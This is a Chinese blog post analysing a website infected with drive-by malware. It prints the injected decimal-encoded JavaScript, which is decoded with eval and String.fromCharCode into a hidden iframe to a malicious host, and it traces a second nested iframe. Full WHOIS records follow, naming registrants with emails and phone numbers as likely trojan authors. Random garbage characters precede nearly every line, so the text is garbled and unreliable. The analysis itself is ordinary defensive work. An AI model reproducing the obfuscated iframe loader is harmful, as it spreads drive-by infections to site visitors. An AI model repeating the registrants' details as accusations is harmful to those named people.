首发在我的博客里面，
7UBDd1 li*S^uSF http://www.areway.cn/?p=175 N] W*ei Nn_fhc> dy6zrgxygP 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
2?
E;(]dQ =CQfs6np:N <script>t=’60,105,102,114,97,109,101,
VD.TosVeWo 32,115,114,99,61,104,116,116,112,58,47,47,
\92M\S 102,114,101,101,46,117,45,117,117,117,46,99,
%B@NW2ZQ[ 110,47,101,114,114,111,114,46,104,116,109,
P`Zon 32,119,105,100,116,104,61,49,48,48,32,104,
/g u
VA 101,105,103,104,116,61,48,62,60,47,105,102,
"(mJupI 114,97,109,101,62′;
;2kQ)Bq" t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
kQ=bd{a6 6/;YS[jX <script>t=’60,105,102,114,97,109,101,32,115,
+C`!4v\n 114,99,61,104,116,116,112,58,47,47,102,114,
oywPPVxj 101,101,46,117,45,117,117,117,46,99,110,47,
v/ry" W 101,114,114,111,114,46,104,116,109,32,119,
ranem0KQ)] 105,100,116,104,61,49,48,48,32,104,101,105,
sPK ]: i C 103,104,116,61,48,62,60,47,105,102,114,97,
1sXCu|\q 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
RC7F/|w.z document.write(t);</script>
j([b)k= 5]i#l3") <html xmlns=”
IgbuMEfL http://www.w3.org/1999/xhtml 'fn}I0Vc “>
[],[ LkS <head>
'ON/WKJr|W <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
le5@WG/x <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
; W{z"L;nX <title>首页 - 爱生活家庭网
5j`sJvq 8$-MUF, 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
T.#_v# oM 转换字符串后的大概内容是（谁点击后果自付）：
rRevyTs <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
#. Dl1L/ k)knyEUi 查询玉米u-uuu.cn的详细信息：
nDn+lWA=g Domain Name: u-uuu.cn
gxhp7c182 ROID: 20070901s10001s64972306-cn
C6gSj1 Domain Status: ok
6O/ L~Z*t Registrant Organization: 王雷
~;(\a@ _ Registrant Name: 王雷
t M5(&cQ!d Administrative Email:
czlovexs@126.com z
4}"oQk:r Sponsoring Registrar: 北京万网志成科技有限公司
*$7^.eHfdd Name Server:ns.yovole.com
}6l:'nW Name Server:ns1.yovole.com
Xf;!w:u Registration Date: 2007-09-01 17:54
Z&^vEQ Expiration Date: 2008-09-01 17:54
\B' )2phE 最后PING了一下地址 都没有什么….
3JD62wtx ;* 5z&1O 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
1
k!gR <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
"pt[Nm76)8 <script language=”javascript” src=”
6`9QGi,) http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script pRfKlTU\ >
UusAsezm: 这个玉米应该有可能是木马作者的：
Vs A_ x foafau.info的详细信息：
$idToOkw Access to INFO WHOIS information is provided to assist persons in
y1 a%f.F` determining the contents of a domain name registration record in the
zDYJe_m ~ Afilias registry database. The data in this record is provided by
=F[M>o Afilias Limited for informational purposes only, and Afilias does not
7NEOaX(J 9 guarantee its accuracy. This service is intended only for query-based
azmeJpC access. You agree that you will use this data only for lawful purposes
ydD:6 bBX and that, under no circumstances will you use this data to: (a) allow,
,% yC 4 enable, or otherwise support the transmission by e-mail, telephone, or
>0kL9_9{ facsimile of mass unsolicited, commercial advertising or solicitations
(l][_6Q to entities other than the data recipient’s own existing customers; or
#N T~GhWFf (b) enable high volume, automated, electronic processes that send
tln}jpCw queries or data to the systems of Registry Operator, a Registrar, or
8k{ XUn Afilias except as reasonably necessary to register domain names or
Q-,
4 modify existing registrations. All rights reserved. Afilias reserves
k&yBB%g the right to modify these terms at any time. By submitting this query,
W[QgddR you agree to abide by this policy.
tQj=m_ Domain ID:D22418703-LRMS
!o'a]8 Domain Name:FOAFAU.INFO
9on$ 0 Created On:20-Nov-2007 16:05:42 UTC
>o"s1*
{ Last Updated On:20-Nov-2007 16:05:44 UTC
xD7Y"%Pbx Expiration Date:20-Nov-2008 16:05:42 UTC
eI2041z Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
L^^f.w#m Status:CLIENT DELETE PROHIBITED
"j%Gr :a Status:CLIENT RENEW PROHIBITED
Y+S<?8pA Status:CLIENT TRANSFER PROHIBITED
\.P'8As Status:CLIENT UPDATE PROHIBITED
(O ;R~Io Status:TRANSFER PROHIBITED
Q]/g=Nn
^~ Registrant ID:GODA-040110615
tklS=R^Vn Registrant Name:liu hong
k5&}b j- Registrant Organization:
#5;4 O{ Registrant Street1:beijing
gd3MP^O1 Registrant Street2:
5UL5C:3R9 Registrant Street3:
` iuQ .I Registrant City:beijing
3 }
$9./+ Registrant State/Province:
#~*v*F~3 Registrant Postal Code:100000
=]Y'xzJuu Registrant Country:CN
D{ ]w + Registrant Phone:+86.860108888777
'o]}vyz; Registrant Phone Ext.:
l7ES*==&@0 Registrant FAX:
cm f*BkS Registrant FAX Ext.:
O,@QGUoA Registrant Email:bbbshiji@163.com
3rh t5n2 - Admin ID:GODA-240110615
,vi6<C\ Admin Name:liu hong
(4l M3 clF Admin Organization:
9Lt3^MKa" Admin Street1:beijing
} 2y "F@{T Admin Street2:
a6 T!)g Admin Street3:
;XY#Jl>tg Admin City:beijing
Rv*x'w
== Admin State/Province:
#!z'R20PH Admin Postal Code:100000
\XY2s&" Admin Country:CN
sN[q. M? Admin Phone:+86.860108888777
#I yM`YB0 Admin Phone Ext.:
E jf>QIB Admin FAX:
I~
SFY>s Admin FAX Ext.:
1\ f8-:C Admin Email:bbbshiji@163.com
.:['&; k Billing ID:GODA-340110615
0} \;R5a< Billing Name:liu hong
1
xr mmK Billing Organization:
G* mLb1 Billing Street1:beijing
c_? ! V Billing Street2:
S r7EcT- Billing Street3:
(>D{"} Billing City:beijing
IOUzj{G# Billing State/Province:
#"-w;T%b Billing Postal Code:100000
1eqFMf Billing Country:CN
'\7&I z:% Billing Phone:+86.860108888777
$>~4RXC Billing Phone Ext.:
mpCKF=KL. Billing FAX:
mnMY)-6C Billing FAX Ext.:
i#lO{ ] Billing Email:bbbshiji@163.com
t;%MSedn Tech ID:GODA-140110615
AK;G _L Tech Name:liu hong
Lp||C@h~ Tech Organization:
b |Ed@C Tech Street1:beijing
p t{/|P Tech Street2:
. =A| Tech Street3:
">I50#bT Tech City:beijing
() HIcu*i Tech State/Province:
i V%tn{fc Tech Postal Code:100000
@n=FSn6 c Tech Country:CN
5#? HL Tech Phone:+86.860108888777
~f2-%~ Tech Phone Ext.:
YsjTC$Tx, Tech FAX:
wmv/ ?g Tech FAX Ext.:
Vzrp9&loY Tech Email:bbbshiji@163.com
.=b)Ae c Name Server:NS27.DOMAINCONTROL.COM
EJrQ9"x&n Name Server:NS28.DOMAINCONTROL.COM
Q5v_^O<! Name Server:
bF3}L=z Name Server:
o2(*5*b!@e Name Server:
@6DV?VL Name Server:
pzBd(d^* Name Server:
i *vf(0G Name Server:
wmS:*U2s c Name Server:
$VE =sS. Name Server:
h "r)z6Q/ Name Server:
eYjr/`>O Name Server:
UD r@ Name Server:
Jqi^Z*PuX ?< $DQ%bf 接着下载每个文件里面的代码：
^$O,Gy) V 一步一步看..
[[:wSAO>6' 
b _0Xi 
I%G6V
a@ 
FZtIC77X5 
;,]Wtmu)7 
~); 7D'[ 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
